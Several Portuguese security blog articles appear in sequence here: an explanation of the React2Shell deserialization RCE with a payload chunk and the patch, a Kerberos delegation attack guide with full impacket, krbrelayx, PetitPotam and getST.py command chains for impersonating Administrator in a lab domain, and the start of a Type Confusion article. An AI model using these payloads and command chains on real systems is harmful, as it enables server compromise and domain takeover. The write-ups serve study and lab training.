O React e o Next.js estão entre as tecnologias mais utilizadas no desenvolvimento web moderno, sustentando aplicações críticas em escala global. No entanto, essa popularidade também os torna alvos de alto valor em cenários de Cyber Security, pentests e pesquisas de vulnerabilidades.

Em 3 de dezembro de 2025, foram divulgadas duas falhas críticas: CVE-2025-55182 (React2Shell) e CVE-2025-66478, ambas com pontuação máxima (CVSS 10.0). Essas vulnerabilidades são consideradas altamente exploráveis e podem permitir desde acesso não autorizado até Remote Code Execution (RCE), comprometendo completamente aplicações baseadas nesses frameworks.

Entendendo a vulnerabilidade

Em arquiteturas que utilizam React Server Components (como o Next.js com App Router), o servidor renderiza componentes e os envia para o navegador. Para realizar essa comunicação, estruturas de dados complexas (objetos) precisam ser convertidas em um fluxo de texto via HTTP (serialização) e reconstruídas quando o servidor recebe uma requisição ou resposta (desserialização) [2].

A vulnerabilidade reside no pacotereact-server e na forma como ele processa referências de objetos durante a desserialização. O mecanismo específico de exploração envolve o Event Loop do JavaScript e o tratamento de operações assíncronas. Quando o servidor utiliza o comando await para gerenciar tarefas em segundo plano, o Event Loop verifica se o objeto em questão possui uma função chamada .then().

Se possuir, o sistema assume que o objeto é uma "Promise" (promessa) e executa essa função .then() automaticamente para registrar o resultado da tarefa.
O React Flight permite que o servidor envie dados para o cliente (ou vice-versa) de forma fragmentada. Em vez de enviar um JSON gigante de uma vez, React e Next CVE 1 ele envia "Chunks" indexados por IDs. Esses chunks podem referenciar uns aos outros para reconstruir a árvore de dados final [4].

Cenário Legítimo (Exemplo de "Frutas" - adaptado do GitHub do msanft):
Imagine que o servidor quer enviar um objeto:

{ object: 'fruit', name: 'cherry' }

No protocolo Flight, isso pode ser quebrado em várias partes interdependentes:

// Representação simplificada do envio de dados (Chunks)
files = {
 "0": (None, '["$1"]'), // Chunk 0: É uma lista que conté
m o Chunk 1
 "1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
 "2": (None, '{"fruitName":"cherry"}'), // Chunk 2: Dados brutos
}

Ao processar isso, o React resolve as referências ( $1 , $2 ) e monta o objeto
final corretamente.

2. A Falha: Referências Inseguras (Prototype Pollution)

A vulnerabilidade (CVE-2025-55182) surge porque o mecanismo que resolve
essas referências (ex: buscar fruitName dentro do Chunk 2) não verificava se a
chave acessada era segura. Isso permitia acessar o protótipo do objeto
JavaScript.

O Código do Ataque (Acesso ao Construtor): Um atacante pode enviar um chunk que pede para o React buscar a propriedade constructor em vez de um dado legítimo.

files = {
 "0": (None, '["$1:__proto__:constructor:constructor"]'), // Acessa o Constr
utor de Funções
 "1": (None, '{"x":1}'),
}

Ao desserializar isso, o resultado final não é um dado, mas sim o Construtor de Função (Function Constructor) do JavaScript. Ter acesso a esse construtor é o primeiro passo para executar qualquer código arbitrário.

O Ataque

Um atacante pode enviar uma payload HTTP especialmente criada onde ele força a propriedade .then de um objeto a ser uma ferramenta de sistema perigosa ou um construtor de funções (como o Function Constructor do JavaScript). Devido à desserialização insegura, o servidor não valida corretamente a estrutura desses dados. Ao encontrar a propriedade .then maliciosa, o Event Loop é enganado e executa o código do atacante no exato momento em que tenta registrar a tarefa, acreditando estar apenas resolvendo uma promessa legítima.

A CVE-2025-55182 refere-se à vulnerabilidade na biblioteca react-server , enquanto a CVE-2025-66478 foi atribuída ao Next.js por empacotar essa biblioteca vulnerável. Portanto, ao atacar um servidor Next.js, o atacante está explorando a falha de desserialização do React.

Apenas ter o Function Constructor não basta, pois o servidor executa o objeto resultante com await . O await passa funções ( resolve , reject ) para o objeto, mas o Function Constructor espera uma string de código para compilar. Se o await chamar o construtor diretamente, ocorre um erro de sintaxe.

Para contornar isso, o exploit utiliza uma técnica brilhante de manipulação de chunks para forçar o servidor a processar o payload duas vezes, permitindo alinhar os argumentos corretamente. O pesquisador msanft criou uma prova de conceito (PoC) para exploração da CVE-2025-55182 [4].

Passo A: Usar $@ para pegar o "Chunk Bruto"

O protocolo permite usar $@ para referenciar o objeto do chunk "cru" antes de ser resolvido. O atacante usa isso para sobrescrever o método .then do próprio chunk com o método nativo Chunk.prototype.then.

Passo B: O Gadget $B (Blobs)

Ao forçar o uso do Chunk.prototype.then , o atacante obriga o React a executar a função initializeModelChunk . Dentro dessa função, existe uma lógica para processar dados binários (Blobs), identificada pelo prefixo $B . O código vulnerável do React para processar $B faz algo assim:

// Lógica interna do React (simplificada)
response._formData.get(response._prefix + id)

O atacante controla tanto _formData quanto _prefix através de um chunk malicioso.

Passo C: O Payload Final (RCE)

O atacante monta um chunk onde:

1. _formData.get é substituído pelo Function Constructor (obtido via prototype pollution).

2. _prefix contém o código malicioso (ex: process.mainModule... ).

O resultado é que o React executa involuntariamente:

Function("código malicioso" + id) .

Trecho do Payload de Exploração

crafted_chunk = {
 // 1. Sobrescreve o .then para forçar o reprocessamento via initializeMod
elChunk
 "then": "$1:__proto__:then",
 "status": "resolved_model",
 "reason": -1,
 // 2. Define o valor a ser reprocessado usando o gadget de Blob ($B)
 "value": '{"then": "$B0"}',
 "_response": {
 // 3. O código malicioso (Note o comentário // para anular o sufixo nu
mérico)
 "_prefix": "process.mainModule.require('child_process').execSync('cal
c'); // ",
 "_formData": {
 // 4. Aponta o método 'get' para o Construtor de Função
 "get": "$1:constructor:constructor",
 },
 },
}

Ao enviar esse chunk, o servidor o desserializa, o await dispara a cadeia de eventos manipulada, e o código é executado antes mesmo de qualquer validação de rota da aplicação. Mais detalhes e um script com a PoC completa você pode ver no GitHub do msanft.

Correção aplicada

Código Vulnerável (antes do patch):

// O servidor recebia metadados e acessava a propriedade diretamente
return moduleExports[metadata[NAME]];

Isso permitia que um atacante enviasse uma referência como $1:__proto__:constructor:constructor para obter acesso direto ao construtor Function do JavaScript, que permite criar e executar código dinamicamente.

O Patch (Correção):

// Agora verifica se a propriedade existe legitimamente no objeto
if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
 return moduleExports[metadata[NAME]];
}

Dimensão do problema

A dimensão do problema é imensa. Dados da Wiz Research [2] indicam que 39% de todos os ambientes em nuvem contêm instâncias vulneráveis de React ou Next.js. A falha em si é uma vulnerabilidade de execução remota de código (RCE) não autenticada, e testes realizados por diversas empresas de segurança mostraram que a exploração tem "confiabilidade próxima a 100%". Trata-se de uma falha lógica determinística no protocolo "Flight" usado pelos componentes do servidor React.

Essas vulnerabilidades não são resultados de configuração incorreta ou de um caso extremo obscuro. Um aplicativo Next.js padrão criado com create-nextapp é explorável por padrão, sem necessidade de alterações de código por parte do desenvolvedor. Essas CVEs revelam um problema mais profundo e sistêmico sobre as concessões que fazemos na arquitetura de software moderna. Como observaram os pesquisadores da Unit 42: Em última análise, esse incidente ressalta o atrito inerente entre desempenho e segurança na arquitetura moderna [3]. Embora os componentes de servidor React otimizem a busca de dados e a otimização para mecanismos de busca (SEO) ao aproximar a lógica da fonte, eles simultaneamente aproximam a superfície de ataque dos dados mais sensíveis e valiosos das organizações. Em outras palavras, o próprio recurso projetado para tornar os aplicativos mais rápidos e eficientes — os componentes de servidor React — também criou um caminho direto e não autenticado para um invasor executar código no servidor.

Onde estudar mais essa vulnerabilidade?

O Hacking Club prontamente disponibilizou um laboratório vulnerável para você treinar.

Acesse https://app.hackingclub.com/training/challenges/103 e venha explorar na prática o Rect2Shell!

Fontes:

[1] https://www.statista.com/statistics/1124699/worldwide-developer-surveymost-used-frameworks-web/

[2] https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182

[3] https://unit42.paloaltonetworks.com/cve-2025-55182-react-and-cve-202566478-next/

[4] https://github.com/msanft/CVE-2025-55182

Delegações Kerberos estão entre os mecanismos mais críticos de autenticação no Active Directory, sendo amplamente exploradas tanto em ambientes Windows corporativos quanto em desafios hacking de CTF (Capture The Flag) voltados para Cyber Security e Ethical Hacking. Neste artigo, você vai entender de forma prática o que são as delegações Unconstrained, Constrained e Resource-Based Constrained Delegation (RBCD), por que elas existem e, principalmente, como essas configurações podem ser abusadas em ataques reais.

Durante a resolução de desafios avançados de CTF na plataforma do [HackingClub] (https://app.hackingclub.com/), encontrei esse tema na prática e percebi como o fluxo de autenticação Kerberos Delegation pode ser confuso mesmo para quem já atua na área. Por isso, este guia foi estruturado para esclarecer as dúvidas mais comuns e demonstrar técnicas ofensivas utilizadas por profissionais de segurança e pentesters.

Antes de prosseguirmos, é extremamente importante que você conheça e compreenda o funcionamento do protocolo de autenticação Kerberos, se isso ainda não é muito familiar, sugiro a leitura desse post completo do HackTheBox.

O que é Kerberos Delegation?

Kerberos Delegation surge como uma forma de solucionar as limitações do token impersonation ou também como é conhecido: client impersonation.

Token impersonation é uma feature do Windows que permite que um processo (seja serviço ou aplicação) assuma temporariamente a identidade de outro usuário para acessar recursos locais no sistema, tais como, arquivos, pastas ou até outros serviços e processos, isso é possível pois o processo intermediário, que faz a impersonação, adquire um token de segurança que reflete a identidade e permissões do usuário original. Esse token é usado para acessar recursos locais com os mesmos direitos que o usuário teria.

Perceba a menção com destaque em "locais", pois é aqui que reside a principal limitação do client impersonation: ele não é válido para recursos remotos. O motivo para isso é que o token de impersonação adquirido pelo processo intermediário geralmente não inclui as credenciais de autenticação necessárias para serem transmitidas a outros sistemas. Em outras palavras, o processo que faz a impersonação não pode usar esse token para autenticar-se em outros servidores da rede, sendo efetivo apenas no contexto da máquina local.

Essa limitação é conhecida como o problema do double hop, onde o primeiro "hop" ocorre quando o cliente autentica-se no servidor intermediário, e o segundo "hop" falha porque o servidor intermediário não consegue autenticar-se em outro recurso ou serviço remoto em nome do cliente original.

É aqui que entra o Kerberos Delegation. O protocolo Kerberos permite a autenticação distribuída em ambientes de rede, e a delegação Kerberos possibilita que um serviço intermediário, se autorizado, atue em nome do cliente e acesse outros recursos na rede, superando a limitação imposta pelo client impersonation. Com a delegação, um serviço intermediário pode "delegar" seu direito de autenticar-se em nome de um usuário e agir em seu nome para acessar outros serviços ou servidores.

Dentro da delegação Kerberos, existem 3 tipos principais: Delegação Irrestrita (Unconstrained Delegation), Delegação Restrita (Constrained Delegation) e Delegação Restrita Baseada em Recursos (Resource-Based Constrained Delegation ou RBCD).

Tipos de Delegação

Delegação Irrestrita

O primeiro e mais básico tipo de delegação introduzido pelo Kerberos é a Unconstrained Delegation. Esta forma de delegação permite que um serviço/processo atue em nome de um usuário para acessar qualquer outro serviço dentro do domínio, sem restrições específicas. Isso significa que, uma vez que um serviço recebe o ticket de um usuário, ele pode usar esse ticket para autenticar-se em qualquer outro serviço de rede.

Como funciona

• O usuário obtém um TGT válido para a rede.
• Aqui ocorre um detalhe muito importante que difere de uma autenticação padrão kerberos. O KDC ao perceber que o WebService tem permissão de delegação irrestrita, ele inclui o TGT original do usuário como parte do ticket.
• WebService extrai o TGT do ST (Service Ticket) e realiza uma requisição TGS para o servidor SQL (lembrando que poderia ser qualquer serviço, não há essa limitação e controle em delegação irrestrita) em nome do usuário.

Casos de usos comuns

Historicamente, a Delegação Irrestrita foi usada em serviços de proxy, onde um servidor intermediário precisava de acesso ilimitado a múltiplos recursos de rede em nome de usuários. No entanto, devido aos riscos de segurança associados, esse tipo de delegação foi amplamente substituído por formas mais seguras, como a Delegação Restrita.

Delegação Restrita

Delegação Restrita (Constrained Delegation) surge como uma forma de fornecer mais segurança à antiga delegação (Delegação Irrestrita). Nessa modalidade, o servidor intermediário pode agir em nome do usuário, mas com restrições: ele só pode acessar serviços específicos que foram previamente definidos. Isso resolve o problema de exposição excessiva que a Delegação Irrestrita trazia, onde o servidor poderia acessar qualquer recurso dentro do domínio.

Antes de prosseguirmos, é importante mencionar: há dois tipos de delegações restritas, sendo elas kerberos only e transição de protocolos (protocol transition), em adição, aqui entra uma extensão do protocolo kerberos, chamada S4u ou Service for User.

Extensão S4u

Anteriormente na Delegação Irrestrita, pudemos ver e analisar todos os passos do fluxo de execução. Vimos que primeiro o usuário solicita o TGT, logo em seguida o ST para o serviço com permissão de delegação. Mas e se o usuário não estiver utilizando o protoco kerberos para se autenticar? Imagine um cenário em que a autenticação é feita via NTLM ou outro protocolo de autenticação que não seja Kerberos. Sem Kerberos, o serviço intermediário não teria como obter um ticket para agir em nome do usuário, certo?

É aqui que o S4U se torna crucial. Ele resolve esse problema ao permitir que o serviço intermediário ainda possa agir em nome do usuário, mesmo quando o usuário não está autenticado diretamente via Kerberos. A extensão S4U adiciona flexibilidade ao protocolo, permitindo que o servidor solicite tickets para o usuário, seja ele autenticado via NTLM ou outro protocolo e torna a Delegação Restrita possível. Para realiza-lo, a extensão utiliza dois tipos de requisições - S4U2Self e S4U2Proxy.

S4U2Self

A requisição S4U2Self é um dos primeiros passos no processo de delegação restrita quando o usuário não está autenticado via Kerberos, mas o serviço intermediário precisa de um ticket Kerberos para atuar em nome desse usuário. Quando o cliente se autentica usando um protocolo como NTLM, o serviço intermediário não pode usar Kerberos diretamente, pois o usuário não forneceu um TGT.

Aqui é onde o S4U2Self entra. Ele permite que o serviço, que já autenticou o usuário via NTLM ou outro protocolo, faça uma requisição TGS ao KDC em nome do usuário, mesmo sem o TGT original do cliente. O KDC valida se o serviço tem permissão para emitir esse ticket em nome do usuário e, se tudo estiver correto, emite o ticket para o próprio serviço, permitindo que ele aja em nome do cliente sem que o usuário tenha que interagir novamente.

S4U2Proxy

Depois de obter o ST com a requisição S4U2Self, o serviço intermediário pode precisar acessar outros serviços na rede em nome do usuário. O ticket que ele obteve com o S4U2Self não pode ser diretamente utilizado para acessar esses outros serviços. É aqui que o S4U2Proxy se torna essencial.

A requisição S4U2Proxy permite que o serviço intermediário solicite um ST adicional, mas desta vez, para um segundo serviço, em nome do usuário. Assim, o serviço intermediário agora age como um "proxy", usando o ticket do S4U2Self para obter novos tickets de serviço.

Mas há uma condição importante: o serviço intermediário só pode acessar os serviços para os quais ele tem permissão. Isso é controlado pelas configurações de Delegação Restrita (Constrained Delegation) definidas.

Delegação Restrita (Protocol Transition)

A imagem acima mostra como a configuração de Transição de Protocolos se parece. Podemos ver que configuramos a máquina delegation$ para ter permissão de delegação para MSSQLSvc/sql_svc.molonlabe.local. Ao fazer isso, a flag TRUSTED_TO_AUTH_FOR_DELEGATION também é definido no UAC. Além disso, o serviço na qual ele possui permissão de delegação é armazenado no atributo msDS-AllowedToDelegateTo.

A Delegação Restrita com Transição de Protocolos (Protocol Transition) resolve o problema de cenários onde o usuário não está autenticado diretamente via Kerberos. Nesse caso, o serviço intermediário usa o S4U2Self para solicitar um ticket Kerberos em nome do usuário, permitindo que o serviço atue em nome do cliente mesmo que ele tenha se autenticado via outro protocolo (como NTLM).

• O User se autentica ao WebServer utilizando NTLM.
• WebServer envia S2U4Self para o KDC, obtendo um ticket válido para sí próprio (Um detalhe importante que iremos abusar depois, apenas o nome do usuário é incluído na requisição, sendo possível obter um ticket para qualquer usuário)
• Devido a flag do UAC TRUSTED_TO_AUTH_FOR_DELEGATION, o KDC irá emitir um ST com a flag Forwardable. É importante mencionar que, sem a flag do UAC, o KDC ainda iria emitir o TGS, porém sem a flag Forwardable.
• WebServer realiza agora a S2U4Proxy, através do TGS obtido com S4U2Self para obter um ST válido para SQL.
• Quando o KDC recebe essa requisição, ele checa se o WebServer tem permissão de delegação para o SQL Server lendo o atributo msDS-AllowedToDelegateTo do WebServer
• WebServer obtém o ST e agora pode se autenticar ao SQL Server (Outro detalhe importante aqui, o SPN do SQL Server permanece em texto claro no ST, tornando possível uma modificação para acessar outros serviços no servidor).

Esse tipo de delegação é essencial em ambientes híbridos onde múltiplos métodos de autenticação coexistem. Ela garante que mesmo os usuários autenticados via NTLM ou outro protocolo possam ser representados no sistema Kerberos por serviços intermediários, com as devidas restrições.

Delegação Restrita (Kerberos Only)

Aqui, assim como na Transição de Protocolos, o serviço de destino também será guardado no atributo msDS-AllowedToDelegateTo, no entanto, a flag TRUSTED_TO_AUTH_FOR_DELEGATION do UAC não será atribuida.

Na Delegação Restrita Kerberos Only, o cliente deve estar autenticado diretamente via Kerberos para que a delegação ocorra. Aqui, o serviço intermediário não precisa da transição de protocolos, pois o cliente já forneceu um TGT válido. O fluxo de delegação segue o processo normal: o cliente solicita seu TGT, e depois o ST (Service Ticket) através de uma requisição TGS para o serviço intermediário.

O serviço intermediário, por sua vez, usa o S4U2Proxy para solicitar tickets adicionais para acessar outros serviços, mas apenas dentro das permissões definidas. Esse modelo é mais simples do que a transição de protocolos, pois o processo já parte de uma autenticação Kerberos completa desde o início.

RBCD (Resource-Based Constrained Delegation) - Delegação Restrita Baseada em Recursos

A Delegação Restrita Baseada em Recursos (RBCD) foi introduzida como uma solução mais flexível e segura para cenários onde a delegação de autenticação é necessária. Ao contrário da Delegação Restrita Tradicional, onde o serviço intermediário define a quais recursos ele pode delegar, na RBCD o controle é transferido para o recurso de destino, permitindo que este defina quais serviços intermediários podem delegar em seu nome.

Diferente dos modelos anteriores, a RBCD descentraliza a configuração de delegação. Isso é feito ao modificar o atributo msDS-AllowedToActOnBehalfOfOtherIdentity no objeto do serviço de destino, permitindo que ele controle os serviços intermediários que podem agir em nome de um usuário. Este atributo contém uma lista de contas de serviço que estão autorizadas a atuar em nome de outros usuários.

Abaixo, podemos notar que o fluxo é parecido com a Transição de Protocolos. No entanto, alguns detalhes importantes.

Fluxo da Delegação Restrita baseada em Recursos.

• O User se autentica ao WebServer utilizando NTLM.
• O WebServer utiliza S4U2Self para obter um ticket do KDC, no entanto, pela falta da flag UAC TRUSTED_TO_AUTH_FOR_DELEGATION o KDC devolve um ST sem a flag Fowardable.
• WebServer realiza S4U2Proxy mesmo assim. O KDC observa que falta a flag Forwardable, então ele busca no atributo msDS-AllowedToActOnBehalfOfOtherIdentity no serviço de destino, então ele emite um ST válido para o SQL Server.

Ataques em Delegações Kerberos

Depois de entendermos como Delegações Kerberos funcionam, agora vamos para a parte divertida?!

Apenas um disclaimer, por convenção e gosto, todos os ataques serão realizados a partir de um sistema linux que se encontra na mesma rede do AD. Todos os ataques podem ser replicados diretamente de um sistema windows com tools como Rubeus e KrbRelay, no entanto, eu não cobrirei sintaxes das respectivas ferramentas nesse post.

Para demonstrar os ataques e como replicá-los, caminharemos por diferentes cenários para cada delegação, para ser algo dinâmico e não repetitivo. Também, essa parte será direto ao ponto, tendo em vista que já foi apresentado todos os tipos de delegação detalhadamente.

Unconstrained Delegation (Delegação Irrestrita)

Requisitos

• Controle sobre uma conta com privilégios de delegação irrestrita.
• Permissões para modificar o SPN dessa conta. (opcional)
• Permissão para adicionar registros DNS. (opcional)
• Uma forma de conectar usuários/vitmas de volta para nós.

No cenário que iremos explorar, possuímos o controle sobre um objeto (User Account) com o privilégio de SeEnableDelegationPrivilege, que permite que um usuário habilite a delegação em contas de serviço ou de computador, tornando possíveis ataques de Unconstrained Delegation.

Toda conta de usuário no Active Directory tem direito de criar até 10 machine accounts por padrão, isso pode ser visualizado com a ferramenta netexec.

netexec ldap molonlabe.local -u Delegate -p 'password123!' -M maq

Agora que já vimos nossa permissão e quota para criação de máquinas, podemos começar o processo de exploração.

Passos:

1. Criar uma machine account.

Primeiro, precisamos adicionar de fato uma machine account no AD. Para isso, utilizarei a ferramenta addcomputer.py da toolkit impacket.

addcomputer.py molonlabe.local/delegate:'password123!' -computer-name malicious -computer-pass 'password123!'

2. Atribuir unconstrained delegation para ela.

Para isso, utilizarei uma tool chamada bloodyAD.

python3 /opt/bloodyAD/bloodyAD.py -u 'Delegate' -d molonlabe.local -p 'password123!' --host 'DC.molonlabe.local' add uac 'malicious$' -f TRUSTED_FOR_DELEGATION

3. Adicionar um SPN (service principal name) a máquina.

Depois de todo o processo da exploração e obtermos as chaves Kerberos, podemos descriptografar tickets, mas para que as vítimas se autentiquem corretamente, precisamos garantir que o SPN (Service Principal Name) esteja vinculado à conta comprometida. O SPN é fundamental para que o DC associe a solicitação de autenticação à conta correta. Se tivermos controle sobre uma conta com privilégios, podemos editar os atributos da conta comprometida e adicionar o SPN necessário usando a ferramenta addspn.py do krbrelayx, facilitando o ataque.

Agora uma curiosidade, machine accounts podem se auto setar SPN's, contanto que deem match com seu hostname ou SamAccountName, o que não seria possível. No entanto, podemos através do atributo msDS-AdditionalDnsHostName, que também possuímos controle.

Agora temos o SPN HOST/malicious.molonlabe.local devidamente configurado.

4. Fazer um registro de DNS para o SPN da máquina, apontando-o para nós (atacante).

Esse é o passo mais simples, apenas precisamos apontar esse SPN para o nosso IP, fazendo um novo registro DNS. Para fazer isso, também utilizaremos uma tool da suite krbrelayx, chamada dnstool.py

python3 /opt/krbrelayx/dnstool.py ldap://192.168.152.130 -u 'molonlabe.local\\Delegate' -p 'password123!' -dc-ip 192.168.152.130 -r malicious.molonlabe.local -d 192.168.152.146 -a add -dns-ip 192.168.152.130

5. Forçar autenticação para obtenção do ticket.

Nesse passo precisamos obter tráfego vindo do AD. Há diversas alternativas, como por exemplo ataques de MITM, DNS Spoofing/Poisoning, utilizando Responder, etc...

No entanto, usaremos coerce authentication com a ferramenta PetitPotam.

Para esse ultimo passo, precisamos de uma espécie de "listener", para isso, utilizaremos a principal ferramenta da suite krbrelayx, que é a própria krbrelayx.py. Para que isso funcione, precisamos fornecer o hash do password do SPN, para que a tool possa decryptar o ticket.

import hashlib
print(hashlib.new('md4', 'password123!'.encode('utf-16le')).hexdigest())

No primeiro terminal:

python3 /opt/krbrelayx/krbrelayx.py -hashes 8119935c5f7fa5f57135620c8073aaca:8119935c5f7fa5f57135620c8073aaca

No segundo:

python3 PetitPotam.py malicious.molonlabe.local 192.168.152.130 -u delegate -p 'password123!' -d molonlabe.local

Assim, obtemos um ticket válido do DC$, levando em vista que o mesmo tem DCSync como privilégio, podemos dumpar as credenciais com secretsdump.py.

Constrained Delegation - Protocol Transition (Delegação Restrita)

Requisitos

• Controle sobre uma conta com privilégios de delegação restrita.

Esse tipo de delegação é a mais simples de atacar já que a extensão S4U facilita todo o fluxo.

• O nome do usuário/cliente na request S4U2Self pode ser arbitrário, uma vez que o KDC essencialmente confia no nome providenciado.
• O valor do SPN no ST pode ser facilmente substituído, uma vez que é texto claro.

1. Enumerar e achar a conta com constrained delegation

Uma forma simples de fazer isso, é usando a ferramenta findDelegation.py da suite impacket.

findDelegation.py molonlabe.local/'malicious$':'password123!'

Vimos que a máquina malicious$ (que controlamos), possui delegação constrained com protocol transition para o SPN IISADMIN do DC. No entanto, como eu falei acima, assim como o KDC irá confiar no nome que for inserido no S4U2Self, ele também confiará no SPN que está em texto claro, então basicamente podemos mudar tudo do ticket.

2. Solicitar um ST como Administrator.

Para isso, utilizaremos outra tool do impacket chamada getST.py, também utilizada para silver tickets.

getST.py molonlabe.local/'malicious$':'password123!' -impersonate Administrator -spn iisadmin/dc.molonlabe.local -altservice cifs,ldap,host -dc-ip 192.168.152.130

Agora com um ticket válido do Administrator, podemos simplesmente utilizar o psexec para obtermos uma shell com system no Domain Controller.

Constrained Delegation - Kerberos Only (Delegação Restrita)

Constrained Delegation com Kerberos Only possui um fluxo muito mais simples, no entanto, o ataque a esse tipo de delegação é o ataque mais complexo/confuso de todos os tipos, detalharei bem para que todos possam entender.

Requisitos

• Ter controle sobre uma conta com constrained delegation (kerberos only).
• Essa conta precisa ter um SPN ou ser uma machine account.
• Quota para criar pelo menos uma machine account (ou ter controle sobre uma).
• Entender os princípios de Resource Based Constrained Delegation.

A extensão S4U não funciona efetivamente nesse caso, uma vez que a primeira autenticação, NECESSITA de um ticket válido, ou seja, não da pra simplesmente forjar como fizemos anteriormente, então, mesmo que ele gerasse um ST, não teria uma flag Forwardable.

Aí que entra a necessidade da compreensão de RBCD, pois precisamos explorar isso, para que podemos obter um ticket válido e forwardable.

Nesse cenário, possuímos o controle sobre uma conta com constrained delegation (COM SPN) para o cifs do DC.

1. Precisamos criar uma machine account

addcomputer.py molonlabe.local/svc_web:P4ssw0rd -dc-host dc.molonlabe.local -computer-name 'owned$' -computer-pass 'password123!'

2. Precisamos atribuir RBCD da machine account owned$ para o SPN que temos controle svc_web

rbcd.py molonlabe.local/svc_web:'P4ssw0rd' -delegate-from 'owned$' -delegate-to svc_web -action write

Isso nos permitirá gerar um ticket de Administrator forwardable para o SPN que controlamos.

3. Gerando ticket do Administrator para o SPN do nosso controle (IISADMIN/svc_web.molonlabe.local)

getST.py molonlabe.local/'owned$':'password123!' -impersonate Administrator -spn iisadmin/svc_web.molonlabe.local:443

Perceba que agora possuímos a flag Forwardable, e tendo como destino um SPN do nosso controle.

4. Podemos então utilizar o S4U2Proxy com o ST válido e Forwardable para o destino que temos permissão de delegação, e novamente, como o SPN no ticket é em texto claro, podemos modificar e adicionar outros.

getST.py molonlabe.local/svc_web:'P4ssw0rd' -additional-ticket 'Administrator@iisadmin_svc_web.molonlabe.local:443@MOLONLABE.LOCAL.ccache' -impersonate Administrator -spn cifs/DC.molonlabe.local -altservice host,ldap,http

E assim, obtemos shell como system no domain controller.

Resource Based Constrained Delegation - RBCD

Requisitos

• Permissão para alterar o atributo msDS-AllowedToActOnBehalfOfOtherIdentity de um objeto.
• Controlar um SPN ou permissão de criar uma machine account.

No cenário atual, temos controle sobre uma conta com permissões de escrita em uma machine account

O processo de exploração de RBCD é parecido com o processo que fizemos anteriormente no passo 1, 2 e 3.

1. Adicionando uma machine account para setarmos RBCD para obtermos um ticket válido de Administrator

addcomputer.py molonlabe.local/it_user:'P4ssw0rd123!' -dc-host dc.molonlabe.local -computer-name 'rbcd$' -computer-pass 'password123!'

2. Configurando RBCD na máquina WRK-01$ vindo de rbcd$

rbcd.py molonlabe.local/it_user:'P4ssw0rd123!' -delegate-from 'rbcd$' -delegate-to 'WRK-01$' -action write

3. Obtendo um ticket de administrator para a workstation WRK-01$

getST.py molonlabe.local/'rbcd$':'password123!' -impersonate Administrator -spn cifs/wrk-01.molonlabe.local

E assim, obtemos system na workstation WRK-01$ explorando com sucesso RBCD.

Conclusão

Há várias maneiras de realizar a Delegação Kerberos, que trazem funcionalidades e resolvem diversos problemas que anteriormente existiam, permitindo que serviços intermediários atuem em nome de um usuário para acessar recursos de rede. No entanto, com toda essa funcionalidade, cada tipo de delegação tem suas fraquezas, que podem ser facilmente exploradas em ambientes mal configurados.

A delegação irrestrita de modo geral é a mais crítica, permitindo que a delegação seja feita para a rede toda. Por mais que outras delegações venham com o objetivo de melhorar a segurança, se mal configuradas também se tornam um grande vetor ataque, principalmente quando o assunto é elevar os privilégios dentro de um ambiente AD.

Esse é um post de fato extensivo, no entanto eu espero que ao chegar aqui, você entenda melhor sobre delegações kerberos e como atacá-las. Agora você está pronto para colocar a mão na massa! De desafio para você eu deixo como sugestão uma máquina da plataforma HackingClub que aborda o tipo de delegação mais desafiador de explorar. A máquina Strength vai te desafiar a explorar o modo de delegação mais complexo, constrained delegation kerberos only!

Você pode acessá-la diretamente aqui.

Referências

https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/
http://msdn.microsoft.com/enus/library/cc233855.aspx
https://www.thehacker.recipes/ad/movement/kerberos/delegations/

Type Confusion é uma vulnerabilidade explorada em cenários de Cyber Security, Web Hacking e desafios de CTF (Capture The Flag) que afeta aplicações desenvolvidas com linguagens de tipagem dinâmica. Esse vetor de ataque ocorre quando o interpretador trata um objeto como sendo de um tipo diferente do originalmente esperado, possibilitando comportamentos inesperados, bypass de validações e até execução de código malicioso.

Para compreender como essa falha surge em aplicações web modernas, é essencial revisar os conceitos de tipagem dinâmica e tipagem estática, já que esses modelos definem como as linguagens gerenciam tipos de variáveis em tempo de compilação e execução — base fundamental para explorar e mitigar cenários de Type Confusion.

Tipagem dinâmica x Tipagem estática

Na tipagem dinâmica, os tipos das variáveis são determinados e atualizados em tempo de execução, ao contrário da tipagem estática, onde os tipos são definidos em tempo de compilação.

Tipagem Dinâmica

JavaScript usa tipagem dinâmica, o que significa que a variável 'x' não possui um tipo estático e, portanto, pode assumir qualquer tipo. Pode ser undefined, object, boolean, string, array, etc.

Tipagem Estática

No Java, você declara e inicializa a variável “x” com um valor inteiro. Como Java é uma linguagem de tipagem estática, uma vez que o tipo de uma variável é declarado, ele não pode ser alterado. Portanto, uma tentativa de atribuir uma string à variável “x” resultaria em um erro de compilação, pois o tipo da variável “x”  é declarado como inteiro.

O Que é o Type Confusion?

Agora que compreendemos as diferenças entre tipagem dinâmica e estática, podemos explorar o conceito de Type Confusion.

Type Confusion é uma vulnerabilidade que ocorre quando tipos de dados são manipulados de forma inadequada, representando um risco à segurança do sistema. Essa vulnerabilidade é mais comum em linguagens de tipagem dinâmica, onde os tipos são determinados em tempo de execução e podem ser alterados durante a execução do programa. Esse tipo de vulnerabilidade pode resultar em diversos problemas de segurança, pois o sistema pode interpretar ou processar dados de maneira inesperada com impactos que podem variar dependendo do contexto da aplicação.

Exemplo de Código Vulnerável

Vamos analisar um exemplo de código que ilustra uma vulnerabilidade de Path Traversal.

O código a seguir é uma aplicação Express simples que serve arquivos a partir do diretório /files, com base no parâmetro de consulta file. No entanto, é importante observar que a exploração dessa vulnerabilidade de Path Traversal só é possível devido à existência de uma vulnerabilidade de Type Confusion. Sem explorar o Type Confusion, não conseguiríamos explorar efetivamente o Path Traversal.

Entendendo o Método indexOf

Antes de prosseguirmos com a exploração, é essencial compreender o que é o método indexOf.

No código a seguir, o método indexOf é utilizado para verificar se o parâmetro file contém a sequência .., que pode indicar uma tentativa de navegação para diretórios superiores.

O método indexOf retorna o índice da primeira ocorrência da substring especificada (no caso, "..") dentro da string. Se a substring não for encontrada, o método retorna -1. Portanto, o código usa file.indexOf("..") !== -1 para detectar possíveis tentativas de Path Traversal e bloquear o acesso a caminhos suspeitos.

Agora que entendemos como o método indexOf é utilizado para detectar a presença de sequências específicas, como .., vamos observar a aplicação em funcionamento.

